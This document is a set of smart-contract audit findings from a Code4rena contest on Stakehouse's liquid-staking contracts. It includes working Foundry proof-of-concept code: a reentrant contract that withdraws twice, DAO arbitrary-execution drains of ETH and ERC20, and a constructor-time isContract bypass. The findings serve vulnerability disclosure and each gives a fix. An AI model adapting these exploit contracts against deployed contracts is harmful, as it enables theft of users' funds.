LSD Network - Stakehouse contest - ladboy233's results

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L435 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L326 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L340 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L347

Vulnerability details

Impact

Reentrancy in LiquidStakingManager.sol#withdrawETHForKnow leads to loss of fund from smart wallet

Proof of Concept

the code below violates the check effect pattern, the code banned the public key to mark the public key invalid to not let the msg.sender withdraw again after sending the ETH.

    /// @notice Allow node runners to withdraw ETH from their smart wallet. ETH can only be withdrawn until the KNOT has not been staked.
    /// @dev A banned node runner cannot withdraw ETH for the KNOT. 
    /// @param _blsPublicKeyOfKnot BLS public key of the KNOT for which the ETH needs to be withdrawn
    function withdrawETHForKnot(address _recipient, bytes calldata _blsPublicKeyOfKnot) external {
        require(_recipient != address(0), "Zero address");
        require(isBLSPublicKeyBanned(_blsPublicKeyOfKnot) == false, "BLS public key has already withdrawn or not a part of LSD network");

        address associatedSmartWallet = smartWalletOfKnot[_blsPublicKeyOfKnot];
        require(smartWalletOfNodeRunner[msg.sender] == associatedSmartWallet, "Not the node runner for the smart wallet ");
        require(isNodeRunnerBanned(nodeRunnerOfSmartWallet[associatedSmartWallet]) == false, "Node runner is banned from LSD network");
        require(associatedSmartWallet.balance >= 4 ether, "Insufficient balance");
        require(
            getAccountManager().blsPublicKeyToLifecycleStatus(_blsPublicKeyOfKnot) == IDataStructures.LifecycleStatus.INITIALS_REGISTERED,
            "Initials not registered"
        );

        // refund 4 ether from smart wallet to node runner's EOA
        IOwnableSmartWallet(associatedSmartWallet).rawExecute(
            _recipient,
            "",
            4 ether
        );

        // update the mapping
        bannedBLSPublicKeys[_blsPublicKeyOfKnot] = associatedSmartWallet;

        emit ETHWithdrawnFromSmartWallet(associatedSmartWallet, _blsPublicKeyOfKnot, msg.sender);
    }

note the section:

// refund 4 ether from smart wallet to node runner's EOA
IOwnableSmartWallet(associatedSmartWallet).rawExecute(
	_recipient,
	"",
	4 ether
);

// update the mapping
bannedBLSPublicKeys[_blsPublicKeyOfKnot] = associatedSmartWallet;

if the _recipient is a smart contract, it can re-enter the withdraw function to withdraw another 4 ETH multiple times before the public key is banned.

As shown in our running POC.

We need to add the import first:

import { MockAccountManager } from "../../contracts/testing/stakehouse/MockAccountManager.sol";

We can add the smart contract below:

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/test/foundry/LiquidStakingManager.t.sol#L12

interface IManager {
    function registerBLSPublicKeys(
        bytes[] calldata _blsPublicKeys,
        bytes[] calldata _blsSignatures,
        address _eoaRepresentative
    ) external payable;
    function withdrawETHForKnot(
        address _recipient, 
        bytes calldata _blsPublicKeyOfKnot
    ) external;
}

contract NonEOARepresentative {

    address manager;
    bool state;

    constructor(address _manager) payable {

        bytes[] memory publicKeys = new bytes[](2);
        publicKeys[0] = "publicKeys1";
        publicKeys[1] = "publicKeys2";

        bytes[] memory signature = new bytes[](2);
        signature[0] = "signature1";
        signature[1] = "signature2";

        IManager(_manager).registerBLSPublicKeys{value: 8 ether}(
            publicKeys,
            signature,
            address(this)
        );

        manager = _manager;

    }

    function withdraw(bytes calldata _blsPublicKeyOfKnot) external {
        IManager(manager).withdrawETHForKnot(address(this), _blsPublicKeyOfKnot);
    }

    receive() external payable {
        if(!state) {
            state = true;
            this.withdraw("publicKeys1");
        }
    }

}

there is a restriction in this reentrancy attack, the msg.sender needs to be the same recipient when calling withdrawETHForKnot.

We add the test case.

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/test/foundry/LiquidStakingManager.t.sol#L35

function testBypassIsContractCheck_POC() public {

	NonEOARepresentative pass = new NonEOARepresentative{value: 8 ether}(address(manager));
	address wallet = manager.smartWalletOfNodeRunner(address(pass));
	address reprenstative = manager.smartWalletRepresentative(wallet);
	console.log("smart contract registered as a EOA representative");
	console.log(address(reprenstative) == address(pass));

	// to set the public key state to IDataStructures.LifecycleStatus.INITIALS_REGISTERED
	MockAccountManager(factory.accountMan()).setLifecycleStatus("publicKeys1", 1);

	// expected to withdraw 4 ETHER, but reentrancy allows withdrawing 8 ETHER
	pass.withdraw("publicKeys1");
	console.log("balance after the withdraw, expected 4 ETH, but has 8 ETH");
	console.log(address(pass).balance);

}

we run the test:

forge test -vv --match testWithdraw_Reentrancy_POC

and the result is

Running 1 test for test/foundry/LiquidStakingManager.t.sol:LiquidStakingManagerTests
[PASS] testWithdraw_Reentrancy_POC() (gas: 578021)
Logs:
  smart contract registered as a EOA representative
  true
  balance after the withdraw, expected 4 ETH, but has 8 ETH
  8000000000000000000

Test result: ok. 1 passed; 0 failed; finished in 14.85ms

the function call is

pass.withdraw("publicKeys1"), which calls

function withdraw(bytes calldata _blsPublicKeyOfKnot) external {
	IManager(manager).withdrawETHForKnot(address(this), _blsPublicKeyOfKnot);
}

which trigger:

// refund 4 ether from smart wallet to node runner's EOA
IOwnableSmartWallet(associatedSmartWallet).rawExecute(
	_recipient,
	"",
	4 ether
);

which triggers reentrancy to withdraw the fund again before the public key is banned.

receive() external payable {
	if(!state) {
		state = true;
		this.withdraw("publicKeys1");
	}
}

Tools Used

Manual Review

Recommended Mitigation Steps

We recommend ban the public key first then send the fund out, and use openzeppelin nonReentrant modifier to avoid reentrancy.

// update the mapping
bannedBLSPublicKeys[_blsPublicKeyOfKnot] = associatedSmartWallet;

// refund 4 ether from smart wallet to node runner's EOA
IOwnableSmartWallet(associatedSmartWallet).rawExecute(
	_recipient,
	"",
	4 ether
);

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L202 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L210 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L426 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L460 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/smart-wallet/OwnableSmartWallet.sol#L63

Vulnerability details

Impact

Dao admin in LiquidStakingManager.sol can rug the registered node operator by stealing their fund via arbitrary execution.

Proof of Concept

After the Liquid Staking Manager.so is deployed via LSDNFactory::deployNewLiquidStakingDerivativeNetwork,

/// @notice Deploys a new LSDN and the liquid staking manger required to manage the network
/// @param _dao Address of the entity that will govern the liquid staking network
/// @param _stakehouseTicker Liquid staking derivative network ticker (between 3-5 chars)
function deployNewLiquidStakingDerivativeNetwork(
	address _dao,
	uint256 _optionalCommission,
	bool _deployOptionalHouseGatekeeper,
	string calldata _stakehouseTicker
) public returns (address) {

The dao address governance address (contract) has very high privilege.

The dao address can perform arbitrary execution by calling LiquidStakingManager.sol::executeAsSmartWallet

/// @notice Enable operations proxied through DAO contract to another contract
/// @param _nodeRunner Address of the node runner that created the wallet
/// @param _to Address of the target contract
/// @param _data Encoded data of the function call
/// @param _value Total value attached to the transaction
function executeAsSmartWallet(
	address _nodeRunner,
	address _to,
	bytes calldata _data,
	uint256 _value
) external payable onlyDAO {
	address smartWallet = smartWalletOfNodeRunner[_nodeRunner];
	require(smartWallet != address(0), "No wallet found");
	IOwnableSmartWallet(smartWallet).execute(
		_to,
		_data,
		_value
	);
}

When a register a new node operator with 4 ETH by calling registerBLSPublicKeys:

/// @notice register a node runner to LSD by creating a new smart wallet
/// @param _blsPublicKeys list of BLS public keys
/// @param _blsSignatures list of BLS signatures
/// @param _eoaRepresentative EOA representative of wallet
function registerBLSPublicKeys(
	bytes[] calldata _blsPublicKeys,
	bytes[] calldata _blsSignatures,
	address _eoaRepresentative
) external payable nonReentrant {

the smart wallet created in the smart contract custody the 4 ETH.

// create new wallet owned by liquid staking manager
smartWallet = smartWalletFactory.createWallet(address(this));
emit SmartWalletCreated(smartWallet, msg.sender);

{
	// transfer ETH to smart wallet
	(bool result,) = smartWallet.call{value: msg.value}("");
	require(result, "Transfer failed");
	emit WalletCredited(smartWallet, msg.value);
}

but Dao admin in LiquidStakingManager.sol can rug the registered node operator by stealing their fund in the smart wallet via arbitrary execution.

As shown in POC:

first we add this smart contract in LiquidStakingManager.t.sol

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/test/foundry/LiquidStakingManager.t.sol#L12

import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract RugContract {

    function receiveFund() external payable {

    }

    receive() external payable {}
}

contract MockToken is ERC20 {

    constructor()ERC20("A", "B") {
        _mint(msg.sender, 10000 ether);
    }

}

We add the two POC,

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/test/foundry/LiquidStakingManager.t.sol#L35

the first POC shows the admin can steal the ETH from the smart contract via arbrary execution.

    function testDaoRugFund_Pull_ETH_POC() public {
        
        address user = vm.addr(21312);

        bytes[] memory publicKeys = new bytes[](1);
        publicKeys[0] = "publicKeys";

        bytes[] memory signature = new bytes[](1);
        signature[0] = "signature";

        RugContract rug = new RugContract();

        // user spends 4 ehter and register the key to become the public operator
        vm.prank(user);
        vm.deal(user, 4 ether);
        manager.registerBLSPublicKeys{value: 4 ether}(
            publicKeys,
            signature,
            user
        );
        address wallet = manager.smartWalletOfNodeRunner(user);
        console.log("wallet ETH balance for user after registering");
        console.log(wallet.balance);

        // dao admin rug the user by withdraw the ETH via arbitrary execution.
        vm.prank(admin);
        bytes memory data = abi.encodeWithSelector(RugContract.receiveFund.selector, "");
        manager.executeAsSmartWallet(
            user,
            address(rug),
            data,
            4 ether
        );
        console.log("wallet ETH balance for user after DAO admin rugging");
        console.log(wallet.balance);

    }

We run the test:

forge test -vv --match testDaoRugFund_Pull_ETH_POC

the result is

Running 1 test for test/foundry/LiquidStakingManager.t.sol:LiquidStakingManagerTests
[PASS] testDaoRugFund_Pull_ETH_POC() (gas: 353826)
Logs:
  wallet ETH balance for user after registering
  4000000000000000000
  wallet ETH balance for user after DAO admin rugging
  0

Test result: ok. 1 passed; 0 failed; finished in 13.63ms

the second POC shows the admin can steal the ERC20 token from the smart contract via arbrary execution.

    function testDaoRugFund_Pull_ERC20_Token_POC() public {

        address user = vm.addr(21312);

        bytes[] memory publicKeys = new bytes[](1);
        publicKeys[0] = "publicKeys";

        bytes[] memory signature = new bytes[](1);
        signature[0] = "signature";

        RugContract rug = new RugContract();

        vm.prank(user);
        vm.deal(user, 4 ether);
        manager.registerBLSPublicKeys{value: 4 ether}(
            publicKeys,
            signature,
            user
        );

        address wallet = manager.smartWalletOfNodeRunner(user);
        ERC20 token = new MockToken();
        token.transfer(wallet, 100 ether);

        console.log("wallet ERC20 token balance for user after registering");
        console.log(token.balanceOf(wallet));

        vm.prank(admin);
        bytes memory data = abi.encodeWithSelector(IERC20.transfer.selector, address(rug), 100 ether);
        manager.executeAsSmartWallet(
            user,
            address(token),
            data,
            0
        );

        console.log("wallet ERC20 token balance for dao rugging");
        console.log(token.balanceOf(wallet));

    }

We run the test:

forge test -vv --match testDaoRugFund_Pull_ERC20_Token_POC

the running result is

Running 1 test for test/foundry/LiquidStakingManager.t.sol:LiquidStakingManagerTests
[PASS] testDaoRugFund_Pull_ERC20_Token_POC() (gas: 940775)
Logs:
  wallet ERC20 token balance for user after registering
  100000000000000000000
  wallet ERC20 token balance for dao rugging
  0

Test result: ok. 1 passed; 0 failed; finished in 16.99ms

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

We recommend not give the dao admin the priviledge to perform arbitrary execution to access user's fund.

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/ETHPoolLPFactory.sol#L76 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/StakingFundsVault.sol#L380 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/ETHPoolLPFactory.sol#L122 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/ETHPoolLPFactory.sol#L130 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/ETHPoolLPFactory.sol#L83 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L551 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L940

Vulnerability details

Impact

The user is not able to stake the 32 ETH for validators because the staking fund vault LP total supply exceeds 4 ETHER.

After the smart wallet, staking fund vault and savETH vault has 32 ETH, the user should be able to call:

/// @notice Anyone can call this to trigger staking once they have all of the required input params from BLS authentication
/// @param _blsPublicKeyOfKnots List of knots being staked with the Ethereum deposit contract (32 ETH sourced within the network)
/// @param _ciphertexts List of backed up validator operations encrypted and stored to the Ethereum blockchain
/// @param _aesEncryptorKeys List of public identifiers of credentials that performed the trustless backup
/// @param _encryptionSignatures List of EIP712 signatures attesting to the correctness of the BLS signature
/// @param _dataRoots List of serialized SSZ containers of the DepositData message for each validator used by Ethereum deposit contract
function stake(
	bytes[] calldata _blsPublicKeyOfKnots,
	bytes[] calldata _ciphertexts,
	bytes[] calldata _aesEncryptorKeys,
	IDataStructures.EIP712Signature[] calldata _encryptionSignatures,
	bytes32[] calldata _dataRoots
) external {

before the staking, the validation function is called:

// check minimum balance of smart wallet, dao staking fund vault and savETH vault
_assertEtherIsReadyForValidatorStaking(blsPubKey);

which calls:

/// @dev Check the savETH vault, staking funds vault and node runner smart wallet to ensure 32 ether required for staking has been achieved
function _assertEtherIsReadyForValidatorStaking(bytes calldata blsPubKey) internal view {
	address associatedSmartWallet = smartWalletOfKnot[blsPubKey];
	require(associatedSmartWallet.balance >= 4 ether, "Smart wallet balance must be at least 4 ether");

	LPToken stakingFundsLP = stakingFundsVault.lpTokenForKnot(blsPubKey);
	require(address(stakingFundsLP) != address(0), "No funds staked in staking funds vault");
	require(stakingFundsLP.totalSupply() == 4 ether, "DAO staking funds vault balance must be at least 4 ether");

	LPToken savETHVaultLP = savETHVault.lpTokenForKnot(blsPubKey);
	require(address(savETHVaultLP) != address(0), "No funds staked in savETH vault");
	require(savETHVaultLP.totalSupply() == 24 ether, "KNOT must have 24 ETH in savETH vault");
}

note that the code requires the total supply of the stakingFundsLP to be equal to 4 ETHER

require(stakingFundsLP.totalSupply() == 4 ether, "DAO staking funds vault balance must be at least 4 ether");

however, user can call the function rotateLPTokens to mint more than 4 ETHER of the stakingFundsLP because of the incorrect implementation of the ETHPoolLPFactory.sol#rotateLPTokens

note that stakingFundVault inherits from ETHPoolFactory.sol

contract StakingFundsVault is
    Initializable, ITransferHookProcessor, StakehouseAPI, ETHPoolLPFactory,

so user call rotateLPTokens on StakingFundsVault

/// @notice Allow users to rotate the ETH from one LP token to another in the event that the BLS key is never staked
/// @param _oldLPToken Instance of the old LP token (to be burnt)
/// @param _newLPToken Instane of the new LP token (to be minted)
/// @param _amount Amount of LP tokens to be rotated/converted from old to new
function rotateLPTokens(LPToken _oldLPToken, LPToken _newLPToken, uint256 _amount) public {
	require(address(_oldLPToken) != address(0), "Zero address");
	require(address(_newLPToken) != address(0), "Zero address");
	require(_oldLPToken != _newLPToken, "Incorrect rotation to same token");
	require(_amount >= MIN_STAKING_AMOUNT, "Amount cannot be zero");
	require(_amount <= _oldLPToken.balanceOf(msg.sender), "Not enough balance");
	require(_oldLPToken.lastInteractedTimestamp(msg.sender) + 30 minutes < block.timestamp, "Liquidity is still fresh");
	require(_amount + _newLPToken.totalSupply() <= 24 ether, "Not enough mintable tokens");

note the line:

require(_amount + _newLPToken.totalSupply() <= 24 ether, "Not enough mintable tokens");

the correct implementaton should be:

require(_amount + _newLPToken.totalSupply() <= maxStakingAmountPerValidator, "Not enough mintable tokens");

The 24 ETH is hardcoded, but when the stakingFundsVault.sol is init, the maxStakingAmountPerValidator is set to 4 ETH.

/// @dev Initialization logic
function _init(LiquidStakingManager _liquidStakingNetworkManager, LPTokenFactory _lpTokenFactory) internal virtual {
	require(address(_liquidStakingNetworkManager) != address(0), "Zero Address");
	require(address(_lpTokenFactory) != address(0), "Zero Address");

	liquidStakingNetworkManager = _liquidStakingNetworkManager;
	lpTokenFactory = _lpTokenFactory;

	baseLPTokenName = "ETHLPToken_";
	baseLPTokenSymbol = "ETHLP_";
	maxStakingAmountPerValidator = 4 ether;
}

note the line:

maxStakingAmountPerValidator = 4 ether;

this parameter maxStakingAmountPerValidator restrict user's ETH deposit amount

    /// @dev Internal business logic for processing staking deposits for single or batch deposits
function _depositETHForStaking(bytes calldata _blsPublicKeyOfKnot, uint256 _amount, bool _enableTransferHook) internal {
	require(_amount >= MIN_STAKING_AMOUNT, "Min amount not reached");
	require(_blsPublicKeyOfKnot.length == 48, "Invalid BLS public key");

	// LP token issued for the KNOT
	// will be zero for a new KNOT because the mapping doesn't exist
	LPToken lpToken = lpTokenForKnot[_blsPublicKeyOfKnot];
	if(address(lpToken) != address(0)) {
		// KNOT and it's LP token is already registered
		// mint the respective LP tokens for the user

		// total supply after minting the LP token must not exceed maximum staking amount per validator
		require(lpToken.totalSupply() + _amount <= maxStakingAmountPerValidator, "Amount exceeds the staking limit for the validator");

		// mint LP tokens for the depoistor with 1:1 ratio of LP tokens and ETH supplied
		lpToken.mint(msg.sender, _amount);
		emit LPTokenMinted(_blsPublicKeyOfKnot, address(lpToken), msg.sender, _amount);
	}
	else {
		// check that amount doesn't exceed max staking amount per validator
		require(_amount <= maxStakingAmountPerValidator, "Amount exceeds the staking limit for the validator");  

note the line:

require(_amount <= maxStakingAmountPerValidator, "Amount exceeds the staking limit for the validator"); 

However, such restriction when rotating LP is changed to

require(_amount + _newLPToken.totalSupply() <= 24 ether, "Not enough mintable tokens");

so to sum it up:

When user stakes, the code strictly requires the stakingFundVault LP total supply is equal to 4 ETH:

require(stakingFundsLP.totalSupply() == 4 ether, "DAO staking funds vault balance must be at least 4 ether");

However, when rotating the LP, the maxStakingAmountPerValidator for staking fund LP becomes 24 ETH, which exceeds 4 ETH (the expected maxStakingAmountPerValidator)

Proof of Concept

First we need to add the import in LiquidStakingManager.t.sol

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/test/foundry/LiquidStakingManager.t.sol#L12

import { MockAccountManager } from "../../contracts/testing/stakehouse/MockAccountManager.sol";

import "../../contracts/liquid-staking/StakingFundsVault.sol";
import "../../contracts/liquid-staking/LPToken.sol";

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/test/foundry/LiquidStakingManager.t.sol#L35

then we add the POC:

function test_rotateLP_Exceed_maxStakingAmountPerValidator_POC() public {

	address user = vm.addr(21312);

	bytes memory blsPubKeyOne = fromHex("94fdc9a61a34eb6a034e343f20732456443a2ed6668ede04677adc1e15d2a24500a3e05cf7ad3dc3b2f3cc13fdc12af5");
	bytes memory blsPubKeyTwo = fromHex("9AAdc9a61a34eb6a034e343f20732456443a2ed6668ede04677adc1e15d2a24500a3e05cf7ad3dc3b2f3cc13fdc12af5");

	bytes[] memory publicKeys = new bytes[](2);
	publicKeys[0] = blsPubKeyOne;
	publicKeys[1] = blsPubKeyTwo;

	bytes[] memory signature = new bytes[](2);
	signature[0] = "signature";
	signature[1] = "signature";

	// user spends 8 ether and register two keys to become the public operator
	vm.prank(user);
	vm.deal(user, 8 ether);
	manager.registerBLSPublicKeys{value: 8 ether}(
		publicKeys,
		signature,
		user
	);

	// active two keys
	MockAccountManager(factory.accountMan()).setLifecycleStatus(blsPubKeyOne, 1);
	MockAccountManager(factory.accountMan()).setLifecycleStatus(blsPubKeyTwo, 1);

	// deposit 4 ETH for public key one and public key two
	StakingFundsVault stakingFundsVault = manager.stakingFundsVault();
	stakingFundsVault.depositETHForStaking{value: 4 ether}(blsPubKeyOne, 4 ether);
	stakingFundsVault.depositETHForStaking{value: 4 ether}(blsPubKeyTwo, 4 ether);

	// to bypass the error: "Liquidity is still fresh"
	vm.warp(1 days);

	// rotate staking amount from public key one to public key two
	// LP total supply for public key two exceed 4 ETHER
	LPToken LPTokenForPubKeyOne = manager.stakingFundsVault().lpTokenForKnot(blsPubKeyOne);
	LPToken LPTokenForPubKeyTwo = manager.stakingFundsVault().lpTokenForKnot(blsPubKeyTwo);
	stakingFundsVault.rotateLPTokens(LPTokenForPubKeyOne, LPTokenForPubKeyTwo, 4 ether);

	uint256 totalSupply = LPTokenForPubKeyTwo.totalSupply();
	console.log("total supply of the Staking fund LP exists 4 ETHER.");
	console.log(totalSupply);

	// calling TestUtils.sol#stakeSingleBlsPubKey, revert
	stakeSingleBlsPubKey(blsPubKeyTwo);

}

We run the POC:

forge test -vv --match test_rotateLP_Exceed_maxStakingAmountPerValidator_POC

the output is:

Running 1 test for test/foundry/LiquidStakingManager.t.sol:LiquidStakingManagerTests
[FAIL. Reason: DAO staking funds vault balance must be at least 4 ether] test_rotateLP_Exceed_maxStakingAmountPerValidator_POC() (gas: 1510454)
Logs:
  total supply of the Staking fund LP exists 4 ETHER.
  8000000000000000000

Test result: FAILED. 0 passed; 1 failed; finished in 15.73ms

Failing tests:
Encountered 1 failing test in test/foundry/LiquidStakingManager.t.sol:LiquidStakingManagerTests
[FAIL. Reason: DAO staking funds vault balance must be at least 4 ether] test_rotateLP_Exceed_maxStakingAmountPerValidator_POC() (gas: 1510454)

the total supply of the LP exceeds 4 ETH and the transaction precisely reverts in:

require(stakingFundsLP.totalSupply() == 4 ether, "DAO staking funds vault balance must be at least 4 ether");

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

We recommend the project change from

require(_amount + _newLPToken.totalSupply() <= 24 ether, "Not enough mintable tokens");

to

require(_amount + _newLPToken.totalSupply() <= maxStakingAmountPerValidator, "Not enough mintable tokens");

and change from

/// @dev Check the savETH vault, staking funds vault and node runner smart wallet to ensure 32 ether required for staking has been achieved
function _assertEtherIsReadyForValidatorStaking(bytes calldata blsPubKey) internal view {
	address associatedSmartWallet = smartWalletOfKnot[blsPubKey];
	require(associatedSmartWallet.balance >= 4 ether, "Smart wallet balance must be at least 4 ether");

	LPToken stakingFundsLP = stakingFundsVault.lpTokenForKnot(blsPubKey);
	require(address(stakingFundsLP) != address(0), "No funds staked in staking funds vault");
	require(stakingFundsLP.totalSupply() >= 4 ether, "DAO staking funds vault balance must be at least 4 ether");

	LPToken savETHVaultLP = savETHVault.lpTokenForKnot(blsPubKey);
	require(address(savETHVaultLP) != address(0), "No funds staked in savETH vault");
	require(savETHVaultLP.totalSupply() >= 24 ether, "KNOT must have 24 ETH in savETH vault");
}

we change from == balance check to >=, because == balance check is too strict in this case.

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L66

Vulnerability details

Impact

dETH / ETH / LPTokenETH can become depegged due to ETH 2.0 reward slashing.

Proof of Concept

I want to quote the info from the doc:

SavETH Vault - users can pool up to 24 ETH where protected staking ensures no-loss. dETH can be redeemed after staking

and

Allocate savETH <> dETH to savETH Vault (24 dETH)

However, the main risk in ETH 2.0 POS staking is the slashing penalty, in that case the ETH will not be pegged and the validator cannot maintain a minimum 32 ETH staking balance.

https://cryptobriefing.com/ethereum-2-0-validators-slashed-staking-pool-error/

Tools Used

Manual Review

Recommended Mitigation Steps

We recommand the protocol to add mechanism to ensure the dETH is pegged via burning if case the ETH got slashed.

and consider when the node do not maintain a minmum 32 ETH staking balance, who is charge of adding the ETH balance to increase

the staking balance or withdraw the ETH and distribute the fund.

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L435

Vulnerability details

Impact

Address.isContract(_eoaRepresentative) check can be bypassed can non-EOA account can be registerred as representative of wallet

Proof of Concept

When registering new node runner, the code wants to block smart contract being registerred as the eoaRepresentative.

    /// @notice register a node runner to LSD by creating a new smart wallet
    /// @param _blsPublicKeys list of BLS public keys
    /// @param _blsSignatures list of BLS signatures
    /// @param _eoaRepresentative EOA representative of wallet
    function registerBLSPublicKeys(
        bytes[] calldata _blsPublicKeys,
        bytes[] calldata _blsSignatures,
        address _eoaRepresentative
    ) external payable nonReentrant {
        uint256 len = _blsPublicKeys.length;
        require(len >= 1, "No value provided");
        require(len == _blsSignatures.length, "Unequal number of array values");
        require(msg.value == len * 4 ether, "Insufficient ether provided");
        require(!Address.isContract(_eoaRepresentative), "Only EOA representative permitted");

note the check:

require(!Address.isContract(_eoaRepresentative), "Only EOA representative permitted");

which calls:

 * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
 * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
 * constructor.
 * ====
 */
function isContract(address account) internal view returns (bool) {
	// This method relies on extcodesize/address.code.length, which returns 0
	// for contracts in construction, since the code is only stored at the end
	// of the constructor execution.

	return account.code.length > 0;
}

this check can be bypassed because the code size is 0 when the smart contract executes code in the constructor. The smart contract can register itself as the EOA representative during the initialization period.

As shown in POC:

We add this smart contract, which registers itself as the EOARepresentitve.

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/test/foundry/LiquidStakingManager.t.sol#L12

interface IManager {
    function registerBLSPublicKeys(
        bytes[] calldata _blsPublicKeys,
        bytes[] calldata _blsSignatures,
        address _eoaRepresentative
    ) external payable;
    function withdrawETHForKnot(
        address _recipient, 
        bytes calldata _blsPublicKeyOfKnot
    ) external;
}

contract NonEOARepresentative {

    constructor(address manager) payable {

        bytes[] memory publicKeys = new bytes[](1);
        publicKeys[0] = "publicKeys";

        bytes[] memory signature = new bytes[](1);
        signature[0] = "signature";

        IManager(manager).registerBLSPublicKeys{value: 4 ether}(
            publicKeys,
            signature,
            address(this)
        );
    }

}

We add the test

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/test/foundry/LiquidStakingManager.t.sol#L35

function testBypassIsContractCheck_POC() public {
	NonEOARepresentative pass = new NonEOARepresentative{value: 4 ether}(address(manager));
	address wallet = manager.smartWalletOfNodeRunner(address(pass));
	address reprenstative = manager.smartWalletRepresentative(wallet);
	console.log("smart contract registered as a EOA representative");
	console.log(address(reprenstative) == address(pass));
}

And we run the test

forge test -vv --match testBypassIsContractCheck_POC

the result is:

Running 1 test for test/foundry/LiquidStakingManager.t.sol:LiquidStakingManagerTests
[PASS] testBypassIsContractCheck_POC() (gas: 325730)
Logs:
  smart contract registered as a EOA representative
  true

Test result: ok. 1 passed; 0 failed; finished in 14.75ms

Tools Used

Manual Review

Recommended Mitigation Steps

We recommend not use the code size to check if the representative is EOA. The project can choose not to block smart contract as representative.

Or the project can implementation a two step process:

1. the user register an account as EOA representative,
2. The representative has to claim the representative spot, we can use msg.sender == tx.origin to make sure it is that EOA account claim the representative spot.